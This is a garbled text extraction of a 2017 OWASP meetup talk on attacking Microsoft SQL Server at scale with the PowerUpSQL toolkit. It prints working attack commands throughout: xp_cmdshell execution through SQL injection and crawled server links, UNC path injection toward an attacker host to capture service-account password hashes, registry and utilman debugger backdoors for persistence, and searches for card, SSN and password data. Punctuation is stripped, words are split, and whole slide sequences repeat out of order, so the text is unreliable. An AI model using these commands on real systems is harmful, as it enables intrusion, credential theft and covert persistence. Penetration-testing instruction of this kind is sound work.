Execute Local Command via xp_cmdshell

2

Key

HVA = High Value Application

LVA = Low Value Application

Leveraging Shared MS SQL Server Service Accounts

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

LVA

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Captain Evil

SQL Injection

1

Execute Local Command via xp_cmdshell

2

Access to HVA with shared domain service account

Key

HVA = High Value Application

LVA = Low Value Application

Execute commands and gather data from other

database servers via osql

3

Leveraging Shared MS SQL Server Service Accounts

EscalatingPrivileges

Crawling SQL Server Links

Escalating Privileges Crawling SQL Server LinksWhatrsquos a SQL Server link

SQL Server links are basically persistent database connections for SQL Servers

Why should I care

Short answer = privilege escalation

Public role can use links to execute queries on remote servers (impersonation)

SELECT FROM OpenQuery([SQLSERVER2]rsquoSELECT Versionrsquo)

Stored procedures can be executed (xp_cmdshell)

Links can be crawled

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Captain EvilKey

HVA = High Value Application

LVA = Low Value Application

Leveraging MS SQL Database links

DB1

LVA

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Captain Evil

SQL Injection

1

Key

HVA = High Value Application

LVA = Low Value Application

Leveraging MS SQL Database links

DB1

LVA

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Captain Evil

SQL Injection

1

Key

HVA = High Value Application

LVA = Low Value Application

Leveraging MS SQL Database links

DB Link with

Least Privileges

DB1

LVA

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Captain Evil

SQL Injection

1

Key

HVA = High Value Application

LVA = Low Value Application

Leveraging MS SQL Database links

DB Link with

Least Privileges

DB Link with

SA account

DB1

LVA

Execute SQL queries and local commands on

database servers via nested linked services

2

Escalating Privileges Crawling SQL Server Links

Penetration Test Stats

Database links exist (and can be crawled) in about 50 of environments wersquove seen

The max number of hops wersquove seen is 12

The max number of servers crawled is 226

Escalating Privileges Crawling Server Links

Old Script

Released 2012 httpswwwrapid7comdbmodulesexploitwindowsmssqlmssql_linkcrawler

New Functions

Author Antti Rantasaari httpsblognetspicomsql-server-link-crawling-powerupsql

Escalating Privileges Crawling Server LinksFunction Description

Get-SQLServerLink Get a list of SQL Server Link on the server

Get-SQLServerLinkCrawl Crawls linked servers and supports SQL query and OS command execution

Examples

Get-SQLServerLinkCrawl -verbose -instance 1029101SQLSERVER2008ldquo

Get-SQLServerLinkCrawl -instance 1029101SQLSERVER2008 -Query ldquoselect from mastersysdatabasesrdquo

Get-SQLServerLinkCrawl -instance 1029101SQLSERVER2008 -Query ldquoexec masterxp_cmdshell lsquowhoamirsquordquo

Escalating Privileges Crawling Server Links

DEMO

Escalating Privileges Database Links

DEMO

>

Escalating Privileges Crawling Server Links

EscalatingPrivileges

UNC Path Injection

Escalating Privileges UNC Path Injection

UNC Path Injection Summary

UNC paths are used for accessing remote file servers like so 19216814file

Almost all procedures that accept a file path in SQL Server support UNC paths

UNC paths can be used to force the SQL Server service account to authenticate to an attacker

An attacker can then capture the NetNTLM password hash and crack or relay it

Relay becomes pretty easy when you know which SQL Servers are using shared accounts

Escalating Privileges UNC Path Injection

Escalating Privileges UNC Path Injection

The Issue

bull By DEFAULT the PUBLIC role can execute at least two procedures that accept a file path

xp_dirtree attackeripfilelsquoxp_fileexists attackeripfilelsquo

The Solution

bull EXECUTE rights on xp_dirtree and fileexists can be REVOKED for the Public role (but no one does that)

UNC Path Injection Cheat Sheetbull httpsgistgithubcomnullbind7dfca2a6309a4209b5aeef181b676c6e

Escalating Privileges UNC Path Injection

Another Issue

bull The Public role can perform UNC path injection into the BACKUP and RESTORE commands

BACKUP LOG [TESTING] TO DISK = attackeripfilelsquoRESTORE LOG [TESTING] FROM DISK = attackeripfile

Partial Solution

bull A patch was released for SQL Server versions 2012 through 2016

httpstechnetmicrosoftcomlibrarysecurityMS16-131

bull There is no fix for SQL Server 2000 to 2008

Escalating Privileges UNC Path Injection

So in summaryhellip

The PUBLIC role can access the SQL Server service account NetNTLM

password hash by default

Escalating Privileges UNC Path Injection

But who really hasPUBLIC role access

Oh yeah a ton of domain users

Escalating Privileges DEMO

DEMOGet-SQLServiceAccountPwHashes

hellipwhat Itrsquos self descriptive

Escalating Privileges UNC Path Injection

DEMO

>

EscalatingPrivileges

OS Admin to SysAdmin

Escalating Privileges OS Admin to SysAdminTwo things to knowhellip

1 Different SQL Server versions can be abused in different ways2 All SQL Server versions provide the service account with sysadmin privileges

Escalating Privileges OS Admin to SysAdmin

Approach 2000 2005 2008 2012 2014 2016

LSA Secrets x x x x x x

Local Administrator x x

LocalSystem x x x

Process Migration x x x x x x

Token Stealing x x x x x X

Single User Mode x x x x x

Below are some options for leveraging that knowledge

Escalating Privileges OS Admin to SysAdminHere are some tool options

Approach Common Tools

Access as Local Administrator Management Studio sqlcmd and other native SQL client tools

Access as LocalSystem Psexec accessibility options debugger with native SQL client tools

Recover SQL Server service account password from LSA Secrets

Mimikatz Metasploit lsadump

Inject shellcode or DLL into the SQL Server service process

Metasploit Empire Python Powershell C C++ (LoadLibraryCreateRemoteThread and similar functions)

Steal Authentication Token From SQL Server service process

Metasploit Incognito Invoke-TokenManipulation

Single User Mode DBATools

Common Post Exploitation Activities

Post Exploitation OverviewCommon Post Exploitation Activities

1 Establish Persistencebull SQL Server Layer startup procedures agent jobs triggers modified codebull OS Layer Registry amp file auto runs tasks services etc

2 Identify Sensitive Databull Target large databasesbull Locate transparently encrypted databasesbull Search columns based on keywords and sample databull Use regular expressions and the Luhn formula against data samples

3 Exfiltrate Sensitive Databull All standard methods Copy database TCP ports UDP ports DNS

tunneling ICMP tunneling email HTTP shares links etc (No exfil in PowerUpSQL yet)

Post Exploitation PersistenceTask Command Example

Registry Autorun Persistence

Get-SQLPersistRegRun -Verbose -Name EvilSauce -Command EvilBoxEvilSandwichexe -Instance SQLServer1STANDARDDEV2014

Debugger Backdoor Persistence

Get-SQLPersistRegDebugger -Verbose -FileName utilmanexe -Command cwindowssystem32cmdexe -Instance SQLServer1STANDARDDEV2014

Post Exploitation Persistence

Post Exploitation Finding Sensitive DataTask Command Example

Locate Encrypted Databases

Get-SQLInstanceDomain -Verbose |Get-SQLDatabaseThreaded ndashVerbose ndashThreads 10 -NoDefaults |Where-Object $_is_encrypted ndasheq ldquoTRUErdquo

Locate and Sample Sensitive Columnsand Export to CSV

Get-SQLInstanceDomain -Verbose | Get-SQLColumnSampleDataThreaded ndashVerbose ndashThreads 10 ndashKeyword ldquocreditssnpasswordrdquo ndashSampleSize 2 ndashValidateCC ndashNoDefaults |Export-CSV ndashNoTypeInformation ctempdatasamplecsv

Post Exploitation Finding Sensitive Data

DEMO

Post Exploitation Finding Sensitive Data

DEMO

>

GeneralRecommendations

General Recommendations1 Enforce least privilege everywhere

2 Disable dangerous default stored procedures

3 Install security patches

4 Audit and fix insecure configurations

5 Use policy based management for standardizing configurations

6 Enable auditing at the server and database levels and monitor for potentially malicious activity

PowerUpSQL Overview Thanks

Individual Third Party Code Direct Contributors

Boe Prox Runspace blogs

Warren F ( RamblingCookieMonster) Invoke-Parallel function

Oyvind Kallstad Test-IsLuhnValid function

Kevin Robertson Invoke-Inveigh

Joe Bialek Invoke-TokenManipulation

Antti Rantasaari Eric Gruber and Alexander Leary leoloobeek and ktaranov

Contributions and QA

Khai Tran Design advice

NetSPI assessment team and dev team Design advice

Speaker Information Questions

Name Scott Sutherland

Job Network amp Application Pentester NetSPI

Twitter _nullbind

Slides httpslidesharenetnullbindhttpslidesharenetnetspi

Blogs httpsblognetspicomauthorscott-sutherland

Code httpsgithubcomnetspiPowerUpSQLhttpsgithubcomnullbind

  • Hacking SQL Server on Scale with PowerShell
  • Speaker Information
  • Presentation Overview
  • Why SQL Server
  • Why PowerShell
  • Slide 6
  • PowerUpSQL Overview Project Goals
  • PowerUpSQL Overview Functions
  • PowerUpSQL Overview Where can I get it
  • PowerUpSQL Overview How do I install it
  • Slide 11
  • SQL Server Basics
  • SQL Server Basics Account Types
  • SQL Server Basics Common Roles
  • Slide 15
  • Find SQL Servers Techniques
  • Find SQL Servers PowerUpSQL
  • Slide 18
  • Testing Login Access Techniques
  • Testing Login Access PowerUpSQL CMDs
  • Testing Login Access PowerUpSQL CMDs (2)
  • Testing Login Access Login CMD Examples
  • Testing Login Access Reusing Result Lists
  • Testing Login Access Domain User Access
  • Testing Login Access Demo
  • Escalating Privileges Domain User
  • Escalating Privileges Domain User (2)
  • Escalating Privileges Domain User (3)
  • Slide 29
  • Escalating Privileges Weak Passwords
  • Escalating Privileges Weak Passwords (2)
  • Escalating Privileges Weak Passwords (3)
  • Escalating Privileges Weak Passwords (4)
  • Escalating Privileges Weak Passwords (5)
  • Escalating Privileges Weak Passwords (6)
  • Escalating Privileges Weak Passwords (7)
  • Escalating Privileges Weak Passwords (8)
  • Escalating Privileges Weak Passwords (9)
  • Escalating Privileges Weak Passwords (10)
  • Escalating Privileges Weak Passwords (11)
  • Escalating Privileges Weak Passwords (12)
  • Escalating Privileges Weak Passwords (13)
  • Escalating Privileges DEMO
  • Slide 44
  • Escalating Privileges Impersonation
  • Escalating Privileges Impersonation (2)
  • Escalating Privileges Impersonation (3)
  • Escalating Privileges Impersonation (4)
  • Escalating Privileges Impersonation (5)
  • Escalating Privileges Impersonation (6)
  • Escalating Privileges Impersonation (7)
  • Escalating Privileges Impersonation (8)
  • Escalating Privileges Impersonation (9)
  • Escalating Privileges Impersonation (10)
  • Escalating Privileges Impersonation (11)
  • Escalating Privileges Impersonation (12)
  • Escalating Privileges Impersonation (13)
  • Escalating Privileges DEMO (2)
  • Escalating Privileges Invoke-SQLPrivEsc
  • Escalating Privileges DEMO (3)
  • Escalating Privileges Invoke-SQLPrivEsc (2)
  • Slide 62
  • Escalating Privileges SysAdmin to Service Account
  • Escalating Privileges SysAdmin to Service Account (2)
  • Escalating Privileges SysAdmin to Service Account (3)
  • Escalating Privileges Invoke-SQLOSCmd
  • Slide 67
  • Escalating Privileges Shared Service Accounts
  • Slide 69
  • Slide 70
  • Slide 71
  • Slide 72
  • Slide 73
  • Escalating Privileges Crawling SQL Server Links
  • Slide 75
  • Slide 76
  • Slide 77
  • Slide 78
  • Escalating Privileges Crawling SQL Server Links (2)
  • Escalating Privileges Crawling Server Links
  • Escalating Privileges Crawling Server Links (2)
  • Escalating Privileges Crawling Server Links (3)
  • Escalating Privileges Database Links
  • Escalating Privileges Crawling Server Links (4)
  • Slide 85
  • Escalating Privileges UNC Path Injection
  • Escalating Privileges UNC Path Injection (2)
  • Escalating Privileges UNC Path Injection (3)
  • Escalating Privileges UNC Path Injection (4)
  • Escalating Privileges UNC Path Injection (5)
  • Escalating Privileges UNC Path Injection (6)
  • Escalating Privileges DEMO (4)
  • Escalating Privileges UNC Path Injection (7)
  • Slide 94
  • Escalating Privileges OS Admin to SysAdmin
  • Escalating Privileges OS Admin to SysAdmin (2)
  • Escalating Privileges OS Admin to SysAdmin (3)
  • Slide 98
  • Post Exploitation Overview
  • Post Exploitation Persistence
  • Post Exploitation Persistence (2)
  • Post Exploitation Finding Sensitive Data
  • Post Exploitation Finding Sensitive Data (2)
  • Post Exploitation Finding Sensitive Data (3)
  • Slide 105
  • General Recommendations
  • PowerUpSQL Overview Thanks
  • Speaker Information Questions
Page 15: 2017 OWASP SanFran March Meetup - Hacking SQL Server on Scale with PowerShell

Finding SQL Servers

Find SQL Servers TechniquesAttacker Perspective Attack Technique

Unauthenticated List from file TCP port scan UDP port scan UDP broadcast Azure DNS dictionary attack (xdatabaseswindowsnet) Azure DNS lookup via public resources

Local User Services Registry entries

Domain User Service Principal Names Azure Portal PowerShell Modules

Find SQL Servers PowerUpSQLAttacker Perspective PowerUpSQL Function

Unauthenticated Get-SQLInstanceFile

Unauthenticated Get-SQLInstanceUDPScan

Local User Get-SQLInstanceLocal

Domain User Get-SQLInstanceDomain

Blog httpsblognetspicomblindly-discover-sql-server-instances-powerupsql

EscalatingPrivileges

Unauthenticated Domain User to SQL Login

Testing Login Access TechniquesWhat credentials can I use to log into discovered SQL Servers

Attacker Perspective Attack Technique

Unauthenticated Dictionary attacks using common user names and passwords

Unauthenticated Default passwords based on the SQL Server instance names

Local Windows or ADS Domain Account

Attempt to login using the current account

Testing Login Access PowerUpSQL CMDsWhat PowerUpSQL functions can I use to test for successful logins

Attack Technique PowerUpSQL Function

Dictionary Attack Invoke-SQLAuditWeakLoginPw

Default Password Test Invoke-SQLAuditDefaultLoginPw

Get-SQLServerLoginDefaultPw

Get-SQLInstanceDomain | Get-SQLServerLoginDefaultPw -Verbose

Local Windows or ADS Domain Account

Get-SQLConnectionTestThreaded

Testing Login Access PowerUpSQL CMDs

Testing Login Access Login CMD Examples

Attacker Perspective

Command Example

Unauthenticated Get-SQLInstanceUDPScan | Get-SQLConnectionTestThreaded -Verbose -Threads 15 -Username testuser -Password testpass

Local User Get-SQLInstanceLocal | Get-SQLConnectionTestThreaded -Verbose

Domain User Get-SQLInstanceDomain | Get-SQLConnectionTestThreaded -Verbose -Threads 15

AlternativeDomain User

runas noprofile netonly userdomainuser PowerShellexe

Get-SQLInstanceDomain | Get-SQLConnectionTestThreaded -Verbose -Threads 15

Testing Login Access Reusing Result Lists

Process Command Example

Enumerate Accessible Servers

$Accessible = Get-SQLInstanceDomain | Get-SQLConnectionTestThreaded -Verbose -Threads 15 | Where-Object $_Status ndashlike ldquoAccessiblerdquo

Get server information $Acessible | Get-SQLServerInfo -Verbose

Get database list $Acessible | Get-SQLDatabase -Verbose

Perform audit $Acessible | Invoke-SQLAudit -Verbose

Do I have to rerun instance discovery every time I want to run a command No

Testing Login Access Domain User Access

DEMO

Testing Login Access Demo

DEMO

>

Escalating Privileges Domain UserWhy can Domain Users login into so many SQL Servers

Admins give them access

Privilege inheritance issue on domain systems = Public role access

SQL Server Express is commonly vulnerable

Escalating Privileges Domain UserWhy can Domain Users login into so many SQL Servers

Admins give them access

Privilege inheritance issue on domain systems = Public role access

SQL Server Express is commonly vulnerable

Escalating Privileges Domain UserWhy can Domain Users login into so many SQL Servers

Admins give them access

Privilege inheritance issue on domain systems = Public role access

SQL Server Express is commonly vulnerable

EscalatingPrivileges

SQL Login to SysAdmin

Escalating Privileges Weak PasswordsDidnrsquot we just cover this Yes but therersquos morehellip

Technique PowerUpSQL Function

Dictionary Attack Invoke-SQLAuditWeakLoginPw

Default Password Test Invoke-SQLAuditDefaultLoginPw

Local Windows or ADS Domain Account

Get-SQLConnectionTestThreaded

Escalating Privileges Weak Passwordshellipwe can also enumerate SQL Server logins and Domain Accounts

Technique PowerUpSQL Function

Blind Login Enumeration+

Dictionary Attack =

Super Cool

Invoke-SQLAuditWeakLoginPw

bull Enumerate all SQL Server logins with the Public role

bull Enumerate all domain accounts with the Public role

Escalating Privileges Weak PasswordsEnumerating SQL Logins

1 Attempt to list all SQL Server logins and fail

Escalating Privileges Weak PasswordsEnumerating SQL Logins

1 Attempt to list all SQL Server logins and fail

2 Get principal id for the sa account with ldquosuser_idrdquo

Escalating Privileges Weak PasswordsEnumerating SQL Logins

1 Attempt to list all SQL Server logins and fail

2 Get principal id for the sa account with ldquosuser_idrdquo

3 Use ldquosuser_namerdquo to get SQL logins using just principal ID

Escalating Privileges Weak PasswordsEnumerating SQL Logins

1 Attempt to list all SQL Server logins and fail

2 Get principal id for the sa account with ldquosuser_idrdquo

3 Use ldquosuser_namerdquo to get SQL logins using just principal ID

4 Increment number and repeat

Escalating Privileges Weak PasswordsEnumerating SQL Logins

1 Attempt to list all SQL Server logins and fail

2 Get principal id for the sa account with ldquosuser_idrdquo

3 Use ldquosuser_namerdquo to get SQL logins using just principal ID

4 Increment number and repeat

select n [id] SUSER_NAME(n) [user_name]from ( select top 10000 row_number() over(order by t1number) as Nfrom masterspt_values t1 cross join masterspt_values t2) awhere SUSER_NAME(n) is not null

Code gifted from mobileckSource httpsgistgithubcomConstantineKc6de5d398ec43bab1a29ef07e8c21ec7

Escalating Privileges Weak PasswordsEnumerating Domain Users

1 Get the domain

Domain of SQL Server

Escalating Privileges Weak PasswordsEnumerating Domain Users

1 Get the domain

2 GID RID of default group

Full RID of Domain Admins

group

Escalating Privileges Weak PasswordsEnumerating Domain Users

1 Get the domain

2 GID RID of default group

3 Grab the first 48 Bytes of the full RID RID = 0x0105000000000005150000009CC30DD479441EDEB31027D000020000 SID = 0x0105000000000005150000009CC30DD479441EDEB31027D0

Escalating Privileges Weak PasswordsEnumerating Domain Users

1 Get the domain

2 GID RID of default group

3 Grab the first 48 Bytes of the full RID

4 Create new RID with by appending a hex number value and the SID

1 Start with number 5002 Convert to hex F4013 Pad with 0 to 8 bytes F40100004 Concatenate the SID and the new RID

SID = 0x0105000000000005150000009CC30DD479441EDEB31027D0 RID = 0x0105000000000005150000009CC30DD479441EDEB31027D0F4010000

Escalating Privileges Weak PasswordsEnumerating Domain Users

1 Get the domain

2 GID RID of default group

3 Grab the first 48 Bytes of the full RID

4 Create new RID with by appending a hex number value and the SID

5 Use ldquosuser_namerdquo function to get domain object name

1 Start with number 5002 Convert to hex F4013 Pad with 0 to 8 bytes F40100004 Concatenate the SID and the new RID

SID = 0x0105000000000005150000009CC30DD479441EDEB31027D0 RID = 0x0105000000000005150000009CC30DD479441EDEB31027D0F4010000

Escalating Privileges Weak PasswordsEnumerating Domain Users

1 Get the domain

2 GID RID of default group

3 Grab the first 48 Bytes of the full RID

4 Create new RID with by appending a hex number value and the SID

5 Use ldquosuser_namerdquo function to get domain object name

6 Increment and repeat

1 Start with number 5002 Convert to hex F4013 Pad with 0 to 8 bytes F40100004 Concatenate the SID and the new RID

SID = 0x0105000000000005150000009CC30DD479441EDEB31027D0 RID = 0x0105000000000005150000009CC30DD479441EDEB31027D0F4010000

Escalating Privileges DEMO

DEMOGet-SQLFuzzServerLogin

Invoke-SQLAuditWeakLoginPw

Get-SQLFuzzDomainAccount

>

Escalating Privileges Impersonation

1 Impersonate Privilege

bull Server EXECUTE AS LOGIN

bull Database EXECUTE AS USER

2 Stored Procedure and Trigger Creation Injection Issues

bull EXECUTE AS OWNER

bull Signed with cert login

3 Automatic Execution of Stored Procedures

4 Agent Jobs

bull User Reader and Operator roles

5 xp_cmdshell proxy acount

6 Create Databse Link to File or Server

7 Import Install Custom Assemblies

8 Ad-Hoc Queries

9 Shared Service Accounts

10 Database Links

11 UNC Path Injection

Escalating Privileges ImpersonationImpersonate Privilege

bull Can be used at server layer

o EXECUTE AS LOGIN

bull Can be used at database layer

o EXECUTE AS USER

Prosbull Execute queriescommands in another user

context

Consbull Commands and queries are not limited in any waybull Requires database to be configured as trustworthy

for OS command execution

Escalating Privileges ImpersonationImpersonate Privilege

bull Can be used at server layer

o EXECUTE AS LOGIN

bull Can be used at database layer

o EXECUTE AS USER

Escalating Privileges ImpersonationImpersonate Privilege

bull Can be used at server layer

o EXECUTE AS LOGIN

bull Can be used at database layer

o EXECUTE AS USER

Escalating Privileges ImpersonationStored Procedure and Trigger Creation Injection Issues

bull EXECUTE AS OWNER can be used to execute a stored procedure as another login

Prosbull Can execute queriescommands in another user contextbull Limit commands and queries bull Donrsquot have to grant IMPERSONATE

Consbull No granular control over the database ownerrsquos

privilegesbull DB_OWNER role can EXECUTE AS OWNER of the DB

which is often a sysadminbull Requires database to be configured as trustworthy for

OS command executionbull Impersonation can be done via SQL injection under

specific conditionsbull Impersonation can be done via command injection

under specific conditions

Escalating Privileges ImpersonationStored Procedure and Trigger Creation Injection Issues

bull EXECUTE AS OWNER can be used to execute a stored procedure as another login

bull DB_OWNER role can impersonate the actual database owner

USE MyAppDbGOCREATE PROCEDURE sp_escalate_meWITH EXECUTE AS OWNERASEXEC sp_addsrvrolemember MyAppUsersysadminGO

Escalating Privileges ImpersonationStored Procedure and Trigger Creation Injection Issues

bull EXECUTE AS OWNER can be used to execute a stored procedure as another login

bull DB_OWNER role can impersonate the actual database owner

USE MyAppDbGOCREATE PROCEDURE sp_escalate_meWITH EXECUTE AS OWNERASEXEC sp_addsrvrolemember MyAppUsersysadminGO

SYSADMIN is often the

OWNER

Escalating Privileges ImpersonationStored Procedure and Trigger Creation Injection Issues

bull Use signed Procedures

o Create stored procedure

o Create a database master key

o Create a certificate

o Create a login from the certificate

o Configure login privileges

o Sign stored procedure with certifiate

o GRANT EXECUTE to User

Prosbull Can execute queriescommands in another user

contextbull Limit commands and queries bull Donrsquot have to grant IMPERSONATEbull Granular control over permissionsbull Database does NOT have to be configured as

trustworthy for OS command execution

Consbull Impersonation can be done via SQL injection

under specific conditionsbull Impersonation can be done via command

injection under specific conditions

Escalating Privileges ImpersonationSQL Injection Example CREATE PROCEDURE sp_sqli2

DbName varchar(max) ASBEGINDeclare query as varchar(max)SET query = lsquoSELECT name FROM mastersysdatabases WHERE name like + DbName+ OR name=tempdb EXECUTE(query)ENDGO

httpsblognetspicomhacking-sql-server-stored-procedures-part-3-sqli-and-user-impersonation

Escalating Privileges ImpersonationSQL Injection Example CREATE PROCEDURE sp_sqli2

DbName varchar(max) ASBEGINDeclare query as varchar(max)SET query = lsquoSELECT name FROM mastersysdatabases WHERE name like + DbName+ OR name=tempdb EXECUTE(query)ENDGO

PURE EVIL

httpsblognetspicomhacking-sql-server-stored-procedures-part-3-sqli-and-user-impersonation

Escalating Privileges ImpersonationSQL Injection Example

EXEC MASTERdbosp_sqli2 masterEXEC masterxp_cmdshell whoami--

httpsblognetspicomhacking-sql-server-stored-procedures-part-3-sqli-and-user-impersonation

Escalating Privileges ImpersonationSQL Injection Example

Escalating Privileges ImpersonationAutomatic Execution of Stored Procedure

bull Stored procedures ca be configured to execute when the SQL Server service restarts

Prosbull Marking a stored procedure to run when the SQL

Server service restarts has many use casesbull Only stored procedures in the master database

can be marked for auto execution

Consbull No granular control over what context the startup

command is executed inbull All stored procedures marked for auto execution

are executed as lsquosarsquo even if lsquosarsquo is disabledbull Any non sysadmin access to stored procedures

can lead to execution as lsquosarsquo

Escalating Privileges DEMO

DEMOInvoke-SQLAudit

Escalating Privileges Invoke-SQLPrivEsc

Whooray for Automation Demo

>

Escalating Privileges DEMO

DEMOInvoke-SQLEscalatePriv

Escalating Privileges Invoke-SQLPrivEsc

DEMO

>

EscalatingPrivileges

SysAdmin to Service Account

Escalating Privileges SysAdmin to Service AccountOS Command Execution = Service Account Impersonation

Executing OS Commands xp_cmdshell Custom Assemblies (net) httpsekirkitycomseeclrly-fileless-sql-server-clr-based-custom-stored-procedure-command-execution Custom Extended Stored Procedures (C++) Agent Jobs httpswwwoptivcomblogmssql-agent-jobs-for-command-execution

o ActiveX Vbscript Jscript and Othero CmdExeco PowerShello SSIS Package

Registry Autoruns File Autoruns

Escalating Privileges SysAdmin to Service AccountOS Command Execution = Service Account Impersonation

You donrsquot need to know the password crack a hash or PTH

Service Account Types Local User Local System Network Service Local managed service account Domain managed service account Domain User Domain Admin

Escalating Privileges SysAdmin to Service AccountBut wait therersquos morehellipRottenPotato DerbyCon 2016

bull We can now escalation from service account to LocalSystem

bull No patch that Irsquom aware of

bull Authors Chris Mallz (vvalien1) amp Steve Breen (breenmachine)

Blog

httpsfoxglovesecuritycom20160926rotten-potato-privilege-escalation-from-service-accounts-to-system

Code

httpsgithubcomfoxglovesecRottenPotato

Escalating Privileges Invoke-SQLOSCmdInvoke-SQLOSCMD can be used for basic command execution

PS Cgt$Accessible | Invoke-SQLOSCmd ndashVerbose ndashCommand ldquowhoamirdquo ndashThreads 10 ComputerName Instance CommandResults --------------------- ----------- -------------- SQLServer1 SQLServer1SQLEXPRESS nt servicemssql$sqlexpress SQLServer1 SQLServer1STANDARDDEV2014 nt authoritysystem SQLServer1 SQLServer1 DomainSQLSvc

EscalatingPrivileges

Shared Service Accounts

Escalating Privileges Shared Service AccountsWhy should I care about shared service accounts

1 SysAdmins can execute OS commands2 OS commands run as the SQL Server service account 3 Service accounts have sysadmin privileges by default4 Companies often use a single domain account to run hundreds of SQL Servers5 So if you get sysadmin on one server you have it on all of them

One account to rule them all

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

LVA

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Key

HVA = High Value Application

LVA = Low Value Application

Leveraging Shared MS SQL Server Service Accounts

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

LVA

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Captain Evil

SQL Injection

1

Key

HVA = High Value Application

LVA = Low Value Application

Leveraging Shared MS SQL Server Service Accounts

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

LVA

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Captain Evil

SQL Injection

1

Execute Local Command via xp_cmdshell

2

Key

HVA = High Value Application

LVA = Low Value Application

Leveraging Shared MS SQL Server Service Accounts

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

LVA

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Captain Evil

SQL Injection

1

Execute Local Command via xp_cmdshell

2

Access to HVA with shared domain service account

Key

HVA = High Value Application

LVA = Low Value Application

Execute commands and gather data from other

database servers via osql

3

Leveraging Shared MS SQL Server Service Accounts

EscalatingPrivileges

Crawling SQL Server Links

Escalating Privileges Crawling SQL Server LinksWhatrsquos a SQL Server link

SQL Server links are basically persistent database connections for SQL Servers

Why should I care

Short answer = privilege escalation

Public role can use links to execute queries on remote servers (impersonation)

SELECT FROM OpenQuery([SQLSERVER2]rsquoSELECT Versionrsquo)

Stored procedures can be executed (xp_cmdshell)

Links can be crawled

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Captain EvilKey

HVA = High Value Application

LVA = Low Value Application

Leveraging MS SQL Database links

DB1

LVA

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Captain Evil

SQL Injection

1

Key

HVA = High Value Application

LVA = Low Value Application

Leveraging MS SQL Database links

DB1

LVA

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Captain Evil

SQL Injection

1

Key

HVA = High Value Application

LVA = Low Value Application

Leveraging MS SQL Database links

DB Link with

Least Privileges

DB1

LVA

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Captain Evil

SQL Injection

1

Key

HVA = High Value Application

LVA = Low Value Application

Leveraging MS SQL Database links

DB Link with

Least Privileges

DB Link with

SA account

DB1

LVA

Execute SQL queries and local commands on

database servers via nested linked services

2

Escalating Privileges Crawling SQL Server Links

Penetration Test Stats

Database links exist (and can be crawled) in about 50 of environments wersquove seen

The max number of hops wersquove seen is 12

The max number of servers crawled is 226

Escalating Privileges Crawling Server Links

Old Script

Released 2012 httpswwwrapid7comdbmodulesexploitwindowsmssqlmssql_linkcrawler

New Functions

Author Antti Rantasaari httpsblognetspicomsql-server-link-crawling-powerupsql

Escalating Privileges Crawling Server LinksFunction Description

Get-SQLServerLink Get a list of SQL Server Link on the server

Get-SQLServerLinkCrawl Crawls linked servers and supports SQL query and OS command execution

Examples

Get-SQLServerLinkCrawl -verbose -instance 1029101SQLSERVER2008ldquo

Get-SQLServerLinkCrawl -instance 1029101SQLSERVER2008 -Query ldquoselect from mastersysdatabasesrdquo

Get-SQLServerLinkCrawl -instance 1029101SQLSERVER2008 -Query ldquoexec masterxp_cmdshell lsquowhoamirsquordquo

Escalating Privileges Crawling Server Links

DEMO

Escalating Privileges Database Links

DEMO

>

Escalating Privileges Crawling Server Links

EscalatingPrivileges

UNC Path Injection

Escalating Privileges UNC Path Injection

UNC Path Injection Summary

UNC paths are used for accessing remote file servers like so 19216814file

Almost all procedures that accept a file path in SQL Server support UNC paths

UNC paths can be used to force the SQL Server service account to authenticate to an attacker

An attacker can then capture the NetNTLM password hash and crack or relay it

Relay becomes pretty easy when you know which SQL Servers are using shared accounts

Escalating Privileges UNC Path Injection

Escalating Privileges UNC Path Injection

The Issue

bull By DEFAULT the PUBLIC role can execute at least two procedures that accept a file path

xp_dirtree attackeripfilelsquoxp_fileexists attackeripfilelsquo

The Solution

bull EXECUTE rights on xp_dirtree and fileexists can be REVOKED for the Public role (but no one does that)

UNC Path Injection Cheat Sheetbull httpsgistgithubcomnullbind7dfca2a6309a4209b5aeef181b676c6e

Escalating Privileges UNC Path Injection

Another Issue

bull The Public role can perform UNC path injection into the BACKUP and RESTORE commands

BACKUP LOG [TESTING] TO DISK = attackeripfilelsquoRESTORE LOG [TESTING] FROM DISK = attackeripfile

Partial Solution

bull A patch was released for SQL Server versions 2012 through 2016

httpstechnetmicrosoftcomlibrarysecurityMS16-131

bull There is no fix for SQL Server 2000 to 2008

Escalating Privileges UNC Path Injection

So in summaryhellip

The PUBLIC role can access the SQL Server service account NetNTLM

password hash by default

Escalating Privileges UNC Path Injection

But who really hasPUBLIC role access

Oh yeah a ton of domain users

Escalating Privileges DEMO

DEMOGet-SQLServiceAccountPwHashes

hellipwhat Itrsquos self descriptive

Escalating Privileges UNC Path Injection

DEMO

>

EscalatingPrivileges

OS Admin to SysAdmin

Escalating Privileges OS Admin to SysAdminTwo things to knowhellip

1 Different SQL Server versions can be abused in different ways2 All SQL Server versions provide the service account with sysadmin privileges

Escalating Privileges OS Admin to SysAdmin

Approach 2000 2005 2008 2012 2014 2016

